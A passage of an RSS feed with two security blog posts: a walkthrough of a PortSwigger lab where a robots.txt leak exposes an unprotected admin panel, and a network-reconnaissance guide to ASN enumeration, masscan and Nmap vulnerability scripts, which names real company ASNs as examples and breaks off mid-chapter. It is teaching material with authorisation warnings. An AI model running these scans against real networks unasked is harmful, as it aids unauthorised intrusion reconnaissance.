            <content:encoded><![CDATA[<h3>Intro</h3><p>For anyone learning web application security, <strong>PortSwigger Web Security Academy</strong> is one of the best free resources available. In this article, we’ll walk through an <strong>Apprentice level lab</strong> — “Unprotected Admin Functionality” — step by step. This lab falls under the <strong>Broken Access Control</strong> category, which is one of the most common and dangerous vulnerability classes in the OWASP Top 10.</p><p>This is a legal, sandboxed training lab — so this technique should only ever be tried on your own authorized labs or bug bounty programs where you have explicit permission.</p><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7zuUj24BmRPfgRuocBMJdg.png" /></figure><h3>Lab Objective</h3><p>The lab description makes the goal clear:</p><blockquote><em>“This lab has an unprotected admin panel. Solve the lab by deleting the user </em><em>carlos.&quot;</em></blockquote><p>This means there’s an admin panel hidden somewhere on the site, but it hasn’t been properly protected — there’s no login check and no role verification. Our job is to find that panel and delete the user carlos.</p><h3>Step 1 — Access the Lab</h3><p>First, click <strong>“Access the lab”</strong> to spin up a fresh instance. You’ll see a normal e-commerce style website with no obvious admin link visible anywhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DReERm0ZzpNgc1mNLlixWg.png" /></figure><h3>Step 2 — Find Hidden Paths (Check robots.txt)</h3><p>When there’s no direct link to an admin panel, the first common step is to check the <strong>robots.txt</strong> file.</p><p>This file sits at the root of a website and tells search engines which paths <strong>not</strong> to crawl. Developers sometimes mistakenly put sensitive URLs in this file, assuming “if search engines ignore it, no one will find it.” But this file is publicly accessible — anyone can open it directly in a browser.</p><p>Open this URL in your browser:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/robots.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngvyAMwmdSrljY36-9yf8w.png" /></figure><p>The result looks like this:</p><pre>User-agent: *<br>Disallow: /administrator-panel</pre><p>A hidden path has been found: /administrator-panel.</p><h3>Step 3 — Visit the Admin Panel Directly</h3><p>Now visit that path directly in the browser:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/administrator-panel</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-PGujBswkNQoHrjHGWuvg.png" /></figure><p>This is where the vulnerability is exposed — no login prompt appears, no “access denied” error shows up. The <strong>Users</strong> page loads directly, listing both wiener and carlos, each with a <strong>Delete</strong> link next to them.</p><p>This means the server was only relying on the URL being “hidden” (<strong>security through obscurity</strong>), without implementing any real <strong>authorization check</strong> (such as verifying the user’s session role).</p><h3>Step 4 — Delete the User</h3><p>Simply click the <strong>Delete</strong> link next to carlos.</p><p>The page confirms:</p><pre>User deleted successfully!</pre><p>And the users list now only shows wiener.</p><h3>Step 5 — Lab Solved</h3><p>The status badge in the top-right corner changes from <strong>“Not solved”</strong> to <strong>“Solved”</strong>, and a congratulations banner appears:</p><blockquote><em>“Congratulations, you solved the lab!”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CscA570rUf4c8x60na7Sjw.png" /></figure><p>The entire lab was solved in just 3 steps:</p><ol><li>Checked robots.txt</li><li>Visited the hidden admin path directly</li><li>Deleted the user — without any login or authentication</li></ol><h3>Why Does This Vulnerability Happen?</h3><p>Developers sometimes assume that if a URL is hard to guess, it’s safe. This flawed approach is called <strong>“security through obscurity.”</strong> In the real world, mistakes like these show up as:</p><ul><li>Admin panels “protected” only by hiding the URL</li><li>Sensitive paths leaking through robots.txt, JS files, or sitemaps</li><li>Missing server-side role/permission checks</li></ul><h3>How to Fix This (Prevention)</h3><ol><li><strong>Add server-side authentication and authorization checks</strong> on every sensitive endpoint — never rely on URL obscurity or frontend checks alone.</li><li>Implement role-based access control (RBAC) so every request verifies whether the user actually has the required privilege.</li><li>Never put sensitive URLs in robots.txt — this file should only be used for legitimate SEO crawling rules.</li><li>Conduct regular access control testing and code reviews so gaps like this are caught early.</li></ol><h3>Conclusion</h3><p>This lab is a perfect beginner-friendly example of how a small misconfiguration — leaving an admin panel protected by nothing but URL obscurity — can compromise an entire system. Broken Access Control also sits at #1 on the OWASP Top 10, so understanding this concept well is essential for anyone in security or bug bounty hunting.</p><p>If you’re learning web security, PortSwigger Web Security Academy has hundreds of similar free, legal, hands-on labs to practice with.</p><p><em>Happy (ethical) hacking!</em></p><h3>👤 About the Author</h3><p>Nitish Mukhiya is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security Academy.</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio — <a href="https://portfolio-livid-iota-e4saycgr44.vercel.app/">portfolio-livid-iota-e4saycgr44.vercel.app</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49b71d270a23" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Network Scanning Masterclass: A Complete Guide to Recon, Port Scanning & Vulnerability…]]></title>
            <link>https://systemweakness.com/%EF%B8%8F-network-scanning-masterclass-a-complete-guide-to-recon-port-scanning-vulnerability-4de837c73d23?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/4de837c73d23</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-scanning]]></category>
            <category><![CDATA[network-scanning-master]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 14:30:35 GMT</pubDate>
            <atom:updated>2026-08-29T04:41:45.420Z</atom:updated>
            <content:encoded><![CDATA[<h3>🛰️ Network Scanning Masterclass: A Complete Guide to Recon, Port Scanning &amp; Vulnerability Discovery</h3><p><strong>A field guide to how bug bounty hunters and penetration testers map an attack surface</strong> — from finding an organization’s ASN all the way to confirming a vulnerable service, written as a single end-to-end walkthrough rather than a dry reference table.</p><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6oW3X_EjQN3S_KaZqic6lg.png" /></figure><h3>📥 Get the Original PDF</h3><p>This article is based on the <strong>Network Scanning Masterclass</strong> handbook. If you’d rather read the original slide-style PDF version, it’s available on GitHub:</p><p><strong>👉 </strong><a href="https://github.com/nitishmukhiyaji/Network-Scanning-Masterclass"><strong>Download the PDF — Network-Scanning-Masterclass repo</strong></a></p><h3>⚠️ Before You Read Any Further</h3><p>Every tool and command in this article is <strong>dual-use</strong> — the exact same command that helps you map your own company’s exposed assets is what an attacker would run against someone else’s network without permission.</p><blockquote><em>🛑 </em><strong><em>Scanning a system you do not own or do not have explicit written authorization to test is illegal in most jurisdictions</em></strong><em> (in the US, this falls under the Computer Fraud and Abuse Act; most countries have equivalent computer-misuse laws). Bug bounty programs define a specific </em><strong><em>scope</em></strong><em> — IP ranges, domains, and ASNs you are permitted to test — and anything outside that scope is off-limits even if it’s technically reachable.</em></blockquote><blockquote><em>Only run anything in this article against:</em></blockquote><ul><li>Infrastructure you personally own,</li><li>A lab environment you control (e.g., HackTheBox, TryHackMe, a local VM range), or</li><li>A target explicitly covered by a signed authorization or a bug bounty program’s published scope.</li></ul><h3>📑 Table of Contents</h3><ol><li><a href="#-introduction">Introduction</a></li><li><a href="#-prerequisites">Prerequisites</a></li><li><a href="#-installation">Installation</a></li><li><a href="#-learning-roadmap">Learning Roadmap</a></li><li><a href="#-chapter-1--asn-enumeration">Chapter 1 — ASN Enumeration</a></li><li><a href="#-chapter-2--ip-enumeration">Chapter 2 — IP Enumeration</a></li><li><a href="#-chapter-3--host-discovery-via-dns">Chapter 3 — Host Discovery via DNS</a></li><li><a href="#-chapter-4--port-scanning-tools">Chapter 4 — Port Scanning Tools</a></li><li><a href="#-chapter-5--nmap-complete-guide">Chapter 5 — Nmap Complete Guide</a></li><li><a href="#-chapter-6--understanding-firewallids-interaction">Chapter 6 — Understanding Firewall/IDS Interaction</a></li><li><a href="#-chapter-7--authorized-testing-workflows">Chapter 7 — Authorized Testing Workflows</a></li><li><a href="#-chapter-8--high-value-ports-reference">Chapter 8 — High-Value Ports Reference</a></li><li><a href="#-chapter-9--host-discovery-techniques-layer-234">Chapter 9 — Host Discovery Techniques (Layer 2/3/4)</a></li><li><a href="#-chapter-10--shodan-recon">Chapter 10 — Shodan Recon</a></li><li><a href="#-chapter-11--sandmap">Chapter 11 — Sandmap</a></li><li><a href="#-chapter-12--scancannon">Chapter 12 — ScanCannon</a></li><li><a href="#-cheat-sheet">Cheat Sheet</a></li><li><a href="#-complete-workflow-diagram">Complete Workflow Diagram</a></li><li><a href="#-best-practices">Best Practices</a></li><li><a href="#-notes">Notes</a></li><li><a href="#-references">References</a></li><li><a href="#-disclaimer">Disclaimer</a></li><li><a href="#-conclusion">Conclusion</a></li><li><a href="#-about-the-author">About the Author</a></li></ol><h3>🧭 Why Recon Is Everything in Bug Bounty Hunting</h3><p>Most beginners jump straight into running Nmap against a domain and hoping for the best. Experienced bug bounty hunters do the opposite — they spend the majority of their time on reconnaissance, because <strong>the attack surface you can see determines every bug you can possibly find.</strong> A target with one domain in scope might secretly own thousands of IPs, dozens of forgotten subdomains, and a handful of internal admin panels that were never meant to be internet-facing.</p><p>This article walks through the complete recon-to-report pipeline, step by step, the way working bug bounty hunters actually structure it:</p><ul><li>What organization owns which IP space (<strong>ASN/CIDR enumeration</strong>)</li><li>Which IPs in that space are actually reachable (<strong>host discovery</strong>)</li><li>Which ports are open on those hosts (<strong>port scanning</strong>)</li><li>What software/version is listening on each port (<strong>service detection</strong>)</li><li>Whether that software has known weaknesses (<strong>vulnerability scanning</strong>)</li></ul><p>By the end, you’ll understand not just <em>what</em> each tool does, but <em>why</em> it’s used at that specific stage, what good output looks like, and how each piece feeds into the next.</p><pre>Target Org → ASN → CIDR → IPs → Hostnames → Live Hosts → Open Ports → Services → Findings → Report</pre><h3>✅ Prerequisites</h3><p><strong>1. Linux environment (Kali, Ubuntu, Parrot, or WSL)</strong> Why: Most tools here are Linux-native or work best there.</p><p><strong>2. Go installed (version 1.21+)</strong> Why: Several tools (ASNMAP, MapCIDR, DNSX, Naabu) are Go binaries.</p><p><strong>3. sudo / root access</strong> Why: Raw-socket scans (SYN, UDP, ARP) require elevated privileges.</p><p><strong>4. Basic networking knowledge</strong> Why: Understanding IP, CIDR, TCP/UDP, and DNS will make this much easier to follow.</p><p><strong>5. Written authorization or a defined bug bounty scope</strong> Why: Non-negotiable — see the warning above.</p><h3>📦 Installation</h3><p>Quick reference for installing the core tools covered in this guide:</p><p>bash</p><pre># Go-based ProjectDiscovery tools<br>go install github.com/projectdiscovery/asnmap/cmd/asnmap@latest<br>go install -v github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest<br>go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest<br>go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest</pre><pre># Nmap (most distros)<br>sudo apt install nmap</pre><pre># Masscan<br>sudo apt install masscan</pre><pre># Rustscan<br>cargo install rustscan<br># or via Docker:<br>docker pull rustscan/rustscan:2.1.1</pre><blockquote><em>💡 </em><strong><em>Tip:</em></strong><em> Make sure </em><em>$GOPATH/bin (usually </em><em>~/go/bin) is in your </em><em>$PATH so Go-installed tools are runnable from anywhere:</em></blockquote><blockquote><em>bash</em></blockquote><blockquote><em>export PATH=$PATH:$(go env GOPATH)/bin</em></blockquote><h3>🗺️ Learning Roadmap</h3><p>This is the order the rest of the guide follows — each phase produces the input for the next.</p><p><strong>Step 1 — ASN Enumeration</strong> Goal: Find the org’s Autonomous System Numbers Tool: ARIN, BGP.he.net</p><p><strong>Step 2 — CIDR Collection</strong> Goal: Get all IP ranges tied to those ASNs Tool: ASNMAP</p><p><strong>Step 3 — IP Extraction</strong> Goal: Expand CIDR ranges into individual IPs Tool: MapCIDR</p><p><strong>Step 4 — Hostname Discovery</strong> Goal: Reverse-resolve IPs to hostnames Tool: DNSX</p><p><strong>Step 5 — Live Host Detection</strong> Goal: Filter to hosts that actually respond Tool: Nmap, Masscan</p><p><strong>Step 6 — Port Scanning</strong> Goal: Find open ports on live hosts Tool: Naabu, Masscan, Rustscan</p><p><strong>Step 7 — Service Enumeration</strong> Goal: Identify software + version on open ports Tool: Nmap -sV</p><p><strong>Step 8 — Deep Scanning</strong> Goal: Run scripts, OS detection on interesting services Tool: Nmap NSE</p><p><strong>Step 9 — Vulnerability Discovery</strong> Goal: Check for known CVEs / misconfigurations Tool: Nmap --script vuln</p><p><strong>Step 10 — Reporting</strong> Goal: Document and responsibly disclose findings Tool: —</p><h3>📡 Chapter 1 — ASN Enumeration</h3><h3>🧠 Theory</h3><p>An <strong>Autonomous System Number (ASN)</strong> is a globally unique number assigned to a network or group of networks under one administrative control — for example, a large company, university, or ISP. ASNs are the backbone of how the internet routes traffic between organizations (via BGP — Border Gateway Protocol).</p><p><strong>CIDR (Classless Inter-Domain Routing)</strong> notation compactly describes an IP range. For example:</p><pre>82.24.0.0/22  →  covers 1,024 addresses: 82.24.0.0 – 82.24.3.255</pre><p>The /22 is the <strong>prefix length</strong> — it tells you how many of the 32 bits in an IPv4 address are fixed (the network portion); the rest are free to vary (the host portion). A smaller number after the slash means a <em>larger</em> range:</p><p><strong>/24 → 256 addresses</strong> <strong>/22 → 1,024 addresses</strong> <strong>/16 → 65,536 addresses</strong> <strong>/8 → 16,777,216 addresses</strong></p><p>A single organization typically owns <strong>multiple ASNs and multiple CIDR blocks</strong> — especially large companies with regional offices, cloud presence, or acquired subsidiaries.</p><h3>🔧 Discovery Tools &amp; Websites</h3><p><strong>ARIN WHOIS</strong> — whois.arin.net/ui/ Purpose: Find ASN registrations for North American orgs</p><p><strong>Hurricane Electric BGP Toolkit</strong> — bgp.he.net/ Purpose: Global ASN &amp; BGP routing lookup</p><p><strong>MX Toolbox</strong> — mxtoolbox.com/SuperTool.aspx Purpose: Verify CIDR ranges and related network info</p><p><strong>ASN Lookup</strong> — asnlookup.com/ Purpose: Quick ASN-to-CIDR mapping</p><blockquote><em>💡 </em><strong><em>Pro Tip:</em></strong><em> Search the company name across multiple registries. Large organizations often hold several ASNs across regions and subsidiaries — relying on a single source will miss assets.</em></blockquote><h3>🛠️ Tool: ASNMAP</h3><p><strong>What it is:</strong> A Go-based CLI tool from ProjectDiscovery that maps an organization name or ASN number to its complete list of CIDR ranges, querying ARIN, RIPE, and APNIC in one shot.</p><p><strong>Why use it:</strong> Manually querying multiple WHOIS databases is slow. ASNMAP consolidates that lookup into a single command.</p><h4>Installation</h4><p>bash</p><pre>go install github.com/projectdiscovery/asnmap/cmd/asnmap@latest</pre><h4>Command Syntax</h4><p>bash</p><pre>asnmap -a AS996 &gt; tmobilecidr.txt</pre><p><strong>Flag breakdown:</strong> -a AS996 → Target ASN number to query &gt; tmobilecidr.txt → Redirects (saves) output to a file instead of printing to screen</p><h4>Example Output</h4><pre>66.94.0.0/17<br>208.54.0.0/16<br>72.14.0.0/17<br>...</pre><h3>✅ Use Cases (in an authorized engagement)</h3><ul><li>Mapping the full scope of a client’s or your own organization’s internet-facing footprint</li><li>Discovering forgotten/unmonitored infrastructure that’s still in-scope but not on the asset inventory</li><li>Building an accurate target list before any active scanning begins</li></ul><blockquote><em>🚨 </em><strong><em>Critical reminder:</em></strong><em> Before scanning </em>any<em> IP range you discover, cross-check it against the bug bounty program’s or client’s </em><strong><em>published scope</em></strong><em>. An ASN belonging to a parent company is not automatically in scope just because you found it. Scanning out-of-scope assets can get you banned from the program — or prosecuted.</em></blockquote><h3>🌐 Chapter 2 — IP Enumeration</h3><h3>🧠 Theory</h3><p>Once you have CIDR ranges, you need to expand them into a flat list of individual IPs to feed into scanners. This is purely mechanical — CIDR-to-IP expansion — but doing it by hand for large ranges is impractical.</p><h3>🛠️ Tool: MapCIDR</h3><p><strong>What it is:</strong> A ProjectDiscovery tool that expands CIDR notation into a list of individual IPs. It accepts a single CIDR, a file of many CIDRs, or piped input.</p><p><strong>Why use it:</strong> Automates an otherwise tedious and error-prone calculation, instantly, at any scale.</p><h4>Installation</h4><p>bash</p><pre>go install -v github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest</pre><h4>Commands &amp; Explanation</h4><p>bash</p><pre>mapcidr -cidr tmobilecidr.txt &gt; allipaddress.txt</pre><ul><li>-cidr tmobilecidr.txt — input file with one or more CIDR ranges</li><li>&gt; allipaddress.txt — saves every expanded IP, one per line</li></ul><p>bash</p><pre>mapcidr -cidr 82.24.0.0/22 &gt; singlecidr.txt</pre><ul><li>Expands a single CIDR block directly from the command line</li></ul><p>bash</p><pre>echo 82.24.0.0/22 | mapcidr -silent | dnsx -ptr -resp-only</pre><ul><li>echo 82.24.0.0/22 — pipes one CIDR into the next command</li><li>mapcidr -silent — expands to individual IPs without printing the tool banner</li><li>dnsx -ptr -resp-only — immediately does a reverse DNS lookup on each IP</li></ul><h4>Example Output</h4><pre>82.24.0.0<br>82.24.0.1<br>82.24.0.2<br>...<br>82.24.3.255</pre><h3>🔗 Combined Pipeline Example</h3><p>bash</p><pre># Full ASN-to-IP pipeline<br>asnmap -a AS714 &gt; apple_cidr.txt<br>mapcidr -cidr apple_cidr.txt &gt; apple_ips.txt<br>wc -l apple_ips.txt                       # count total IPs</pre><pre># Or pipe directly without intermediate files<br>asnmap -a AS714 | mapcidr -silent &gt; all_ips.txt</pre><h3>✅ Use Cases</h3><ul><li>Building a complete inventory of an organization’s IP space</li><li>Feeding a clean target list into port scanners</li><li>Combining with DNSX (next chapter) for hostname discovery</li></ul><blockquote><em>💡 </em><strong><em>Tip:</em></strong><em> Large ASNs can expand to millions of IPs. Always rate-limit subsequent scans, and where possible, filter to </em>live<em> hosts first (Chapter 9) before running expensive deep scans on every address.</em></blockquote><h3>🏷️ Chapter 3 — Host Discovery via DNS</h3><h3>🧠 Theory</h3><p>A <strong>PTR record</strong> (reverse DNS) maps an IP address back to a hostname — the inverse of a normal “A record” lookup. Resolving IPs to hostnames reveals what services actually live at each address and can surface subdomains that weren’t found through normal subdomain enumeration.</p><h3>🛠️ Tool: DNSX</h3><p><strong>What it is:</strong> A fast, multi-purpose DNS toolkit from ProjectDiscovery. For this use case, it performs PTR (reverse) lookups at scale.</p><p><strong>Why use it:</strong> Converting raw IPs into hostnames tells you <em>what</em> is actually running there — cdn.example.com vs. internal-dev.example.com are very different targets in terms of risk and relevance.</p><h4>Installation</h4><p>bash</p><pre>go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest</pre><h4>Commands &amp; Explanation</h4><p>bash</p><pre>cat allipaddress.txt | dnsx -ptr -resp-only</pre><ul><li>cat allipaddress.txt — reads the IP list</li><li>-ptr — perform reverse PTR DNS lookup</li><li>-resp-only — print only the resolved hostname (omit the IP from output)</li></ul><p>bash</p><pre>mapcidr -cidr tmobilecidr.txt | dnsx -ptr -resp-only &gt; hostnames.txt</pre><ul><li>Expands CIDRs and resolves hostnames in one pipeline, saving the result</li></ul><h4>Example Output</h4><pre>cdn.example.com<br>api.example.com<br>internal-dev.example.com<br>staging.example.com</pre><h3>✅ Use Cases</h3><ul><li>Surfacing forgotten or unmonitored subdomains via reverse DNS that subdomain brute-forcing might miss</li><li>Spotting internal naming conventions (dev, staging, admin, internal, test)</li><li>Distinguishing CDN-fronted hosts from directly-owned infrastructure</li><li>Cross-referencing discovered hostnames against the program’s published scope</li></ul><blockquote><em>💡 </em><strong><em>Why “dev/staging/admin/test” hostnames matter:</em></strong><em> Non-production environments are frequently spun up quickly, may run outdated software, and often have weaker access controls than production. That’s exactly why they need to be </em>in scope<em> and verified, not exploited — if you find one, the responsible move is to confirm it’s covered by your authorization before going further, and to report what you find rather than dig into systems you weren’t asked to test.</em></blockquote><h3>🔍 Chapter 4 — Port Scanning Tools</h3><h3>🧠 Theory</h3><p>A port scanner determines which TCP/UDP ports on a host are <strong>open</strong> (accepting connections), <strong>closed</strong> (actively refusing), or <strong>filtered</strong> (no response, likely blocked by a firewall). This is the step that turns “a list of IPs” into “a list of services worth investigating.”</p><h3>🛠️ Tool: Naabu</h3><p><strong>What it is:</strong> A fast Go-based port scanner from ProjectDiscovery supporting SYN, CONNECT, and UDP scan modes, with built-in rate limiting and concurrency controls.</p><p><strong>Why use it:</strong> It’s fast, integrates cleanly with other ProjectDiscovery tools (httpx, nuclei), handles large target lists well, and has rate-limiting built in to avoid overwhelming a target.</p><h4>Installation</h4><p>bash</p><pre>go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest</pre><h4>Commands &amp; Explanation</h4><p>bash</p><pre>naabu -l allipaddress.txt</pre><ul><li>-l allipaddress.txt — load targets from file</li><li>(default behavior scans the top 100 most common ports)</li></ul><p>bash</p><pre>naabu -l allipaddress.txt -rate 3000 -retries 1 -warm-up-time 0 -c 50</pre><p><strong>Flag breakdown:</strong> -l allipaddress.txt → Target list file -rate 3000 → Send up to 3,000 packets/second -retries 1 → Retry a failed probe once -warm-up-time 0 → Skip the gradual ramp-up; start at full configured rate -c 50 → Use 50 concurrent connections</p><h4>Example Output</h4><pre>172.16.1.1:80<br>172.16.1.1:443<br>172.16.2.5:8080<br>172.16.2.9:22</pre><blockquote><em>💡 </em><strong><em>Tip:</em></strong><em> Naabu pipes neatly into </em><em>httpx for fast web-service triage:</em></blockquote><blockquote><em>bash</em></blockquote><blockquote><em>naabu -l ips.txt | httpx -title -status-code</em></blockquote><blockquote><em>This gives you live web services with page titles and HTTP status codes in a single pass.</em></blockquote><h3>✅ Use Cases</h3><ul><li>Scanning an entire authorized ASN range for open ports quickly</li><li>Surfacing non-standard web ports</li><li>Identifying exposed services for follow-up enumeration</li></ul><h3>🛠️ Tool: Masscan</h3><p><strong>What it is:</strong> An extremely fast asynchronous port scanner that implements its own TCP/IP stack, capable of scanning huge address spaces in a fraction of the time a standard scanner would take.</p><p><strong>Why use it:</strong> When the priority is raw speed across very large CIDR ranges, Masscan is the standard choice — at the cost of the depth of detail you’d get from Nmap.</p><h4>Installation</h4><p>bash</p><pre># Ubuntu/Debian<br>sudo apt install masscan</pre><pre># Or build from source<br>git clone <a href="https://github.com/robertdavidgraham/masscan">https://github.com/robertdavidgraham/masscan</a><br>cd masscan &amp;&amp; make</pre><h4>Commands &amp; Explanation</h4><p>bash</p><pre>masscan -p0-65535 66.207.176.0/22 --rate=50000</pre><ul><li>-p0-65535 — scan every possible TCP port</li><li>66.207.176.0/22 — the target CIDR range</li><li>--rate=50000 — transmit 50,000 packets per second</li></ul><p>bash</p><pre>masscan -iL allipaddress.txt --rate=50000 --ports 0-65535 -v</pre><ul><li>-iL allipaddress.txt — load targets from a file</li><li>--ports 0-65535 — scan the full port range</li><li>-v — verbose output</li></ul><h4>Example Output</h4><pre>Discovered open port 443/tcp on 66.207.176.5<br>Discovered open port 80/tcp on 66.207.176.10</pre><blockquote><em>⚠️ </em><strong><em>Warning:</em></strong><em> High-rate scanning is aggressive and easy to mistake for a denial-of-service attempt. Many bug bounty programs explicitly cap allowed scan rates — exceeding them can get you banned from the program regardless of intent. </em><strong><em>Start conservative (</em></strong><strong><em>--rate=1000 or lower)</em></strong><em> and always check the program&#39;s published rules first.</em></blockquote><h3>🛠️ Tool: Rustscan</h3><p><strong>What it is:</strong> A modern, Rust-based port scanner optimized for speed, which can automatically hand off discovered open ports to Nmap for detailed follow-up.</p><p><strong>Why use it:</strong> It collapses the “fast discovery, then deep scan” workflow into a single command instead of two separate steps.</p><h4>Installation</h4><p>bash</p><pre>cargo install rustscan<br># or via Docker<br>docker pull rustscan/rustscan:2.1.1</pre><h4>Commands &amp; Explanation</h4><p>bash</p><pre>rustscan -a allipaddress.txt -u 10000</pre><ul><li>-a allipaddress.txt — target file (or a single IP/hostname)</li><li>-u 10000 — sets the ulimit (max open file descriptors), tuning scan speed</li></ul><p>bash</p><pre>rustscan -a 192.168.1.1 --range 1-65535 -- -sV -sC</pre><ul><li>--range 1-65535 — port range to scan</li><li>-- -sV -sC — everything after -- is passed straight to Nmap for service detection and default-script scanning on the ports Rustscan finds open</li></ul><h4>Example Output</h4><pre>Open ports discovered → Nmap launches automatically:<br>PORT    STATE SERVICE     VERSION<br>80/tcp  open  http        Apache 2.4.49<br>443/tcp open  ssl/http    nginx 1.18</pre><h3>🖥️ Angry IP Scanner (GUI Option)</h3><p>A free, cross-platform GUI tool (angryip.org) for visually scanning IP ranges. You can import an IP list, configure which ports to check, and get a sortable table of live hosts and open ports — useful for a quick visual sanity check without touching the command line.</p><h3>🗡️ Chapter 5 — Nmap Complete Guide</h3><p>Nmap (“Network Mapper”), first released in 1997, remains the most widely used open-source network scanner. It can discover hosts, enumerate services and versions, fingerprint operating systems, and run an extensible scripting engine (NSE) for deeper checks.</p><h3>🔹 Basic Scanning</h3><p>bash</p><pre>nmap target.com                          # default: top 1000 ports<br>nmap -p 80,443 target.com                # specific ports only<br>nmap -p- target.com                      # all 65,535 ports<br>nmap -p- --min-rate 5000 target.com      # all ports, faster<br>nmap -sV -sC -Pn target.com -oN output.txt   # common full-featured scan</pre><h3>🔹 Important Flags Reference</h3><p><strong>-sV</strong> — Version detection When to use: Almost always — identifies the exact software/version on each port</p><p><strong>-O</strong> — OS detection When to use: When you need to fingerprint the target operating system</p><p><strong>-A</strong> — Aggressive (combines OS + version + scripts + traceroute) When to use: Full-detail single-command scan</p><p><strong>-Pn</strong> — Skip host-up ping check When to use: When ICMP is blocked but you know the host is up</p><p><strong>-T4</strong> — Faster timing template When to use: Default choice for most non-stealth scans</p><p><strong>-T1</strong> — Slower, &quot;sneaky&quot; timing When to use: When minimizing detection footprint matters</p><p><strong>--open</strong> — Show only open ports When to use: Cuts noise from closed/filtered results</p><p><strong>-sC</strong> — Run default (safe) NSE scripts When to use: Good general-purpose enumeration pass</p><p><strong>--min-rate</strong> — Minimum packets/sec When to use: Speeds up large scans</p><p><strong>-oN file</strong> — Normal text output When to use: Human-readable saved results</p><p><strong>-oX file</strong> — XML output When to use: Machine-parseable, good for feeding other tools</p><p><strong>-oA all</strong> — All formats at once When to use: Saves .nmap, .xml, and .gnmap together</p><h3>🔹 Scan Types</h3><p>bash</p><pre>sudo nmap -sS target.com     # SYN &quot;half-open&quot; scan (root required) — does not complete the handshake<br>nmap -sT target.com          # TCP Connect scan — completes the full handshake, no root needed<br>sudo nmap -sU target.com     # UDP scan — finds DNS, SNMP, and other UDP services<br>sudo nmap -sN target.com     # NULL scan — packet with no flags set<br>sudo nmap -sF target.com     # FIN scan — sets only the FIN flag<br>sudo nmap -sX target.com     # XMAS scan — sets FIN, PSH, and URG flags</pre><p><strong>What these mean, conceptually:</strong></p><ul><li><strong>SYN scan</strong> sends the first packet of a TCP handshake and reads the response without completing the connection — faster and, because the connection never fully opens, it’s less likely to be logged by the <em>target application itself</em> (though it’s still visible to firewalls/IDS at the network level).</li><li><strong>NULL/FIN/XMAS scans</strong> rely on how a host’s TCP/IP stack is supposed to respond to malformed flag combinations per RFC 793. Some older or simplistic packet-filtering firewalls only inspect SYN packets, so these unusual flag combinations can occasionally slip through where a SYN scan would be blocked. Modern, properly configured firewalls generally catch these too.</li></ul><blockquote><em>📝 </em><strong><em>Note:</em></strong><em> None of these scan types make you “invisible.” They change </em>what gets logged where<em> and </em>what a simple stateless filter catches<em>, not whether a competent monitoring setup will notice scanning activity.</em></blockquote><h3>🔹 NSE — Nmap Scripting Engine</h3><p>NSE scripts are Lua programs that extend Nmap with service enumeration, vulnerability checks, and authentication testing. They live in /usr/share/nmap/scripts/.</p><p>bash</p><pre>nmap -sC target.com                  # run default safe scripts<br>nmap --script vuln target.com        # run vulnerability-check scripts<br>nmap --script auth target.com        # check for default/weak credentials<br>nmap --script discovery target.com   # broader service discovery scripts<br>nmap --script safe target.com        # restrict to scripts marked non-intrusive</pre><blockquote><em>⚠️ </em><strong><em>Common Mistake:</em></strong><em> Categories like </em><em>brute (credential brute-forcing) and </em><em>exploit (active exploitation attempts) can crash services or trigger account lockouts on production systems. </em><strong><em>Never run these without explicit written permission</em></strong><em>, and prefer </em><em>--script safe when you just need enumeration, not exploitation.</em></blockquote><h3>🔹 Service-Specific NSE Scripts (Examples)</h3><p>bash</p><pre># HTTP<br>nmap --script http-title example.com        # page titles<br>nmap --script http-headers example.com      # response headers<br>nmap --script http-methods example.com      # allowed HTTP methods<br>nmap --script &quot;http-vuln*&quot; example.com      # all HTTP vulnerability checks</pre><pre># FTP<br>nmap -p 21 --script ftp-anon example.com    # checks if anonymous login is allowed</pre><pre># Database services<br>nmap -p 3306 --script mysql-empty-password example.com   # checks for blank MySQL root password<br>nmap -p 6379 --script redis-info target.com               # grabs Redis info if no auth required</pre><pre># SMB / Windows<br>nmap --script smb-vuln-ms17-010 example.com  # checks for the MS17-010 (EternalBlue) vulnerability<br>nmap --script smb-enum-shares example.com    # enumerates accessible SMB shares</pre><pre># SSL/TLS<br>nmap --script ssl-heartbleed example.com     # checks for the Heartbleed vulnerability (CVE-2014-0160)<br>nmap --script ssl-enum-ciphers example.com   # lists supported cipher suites, flags weak ones</pre><p>Each of these is a <strong>detection</strong> script — it checks for a condition and reports it. None of them exploit anything; they’re the equivalent of testing whether a door is unlocked, not opening it and walking through.</p><h3>🛡️ Chapter 6 — Understanding Firewall/IDS Interaction</h3><p>WAFs (Web Application Firewalls) and IDS/IPS systems are designed to flag or block 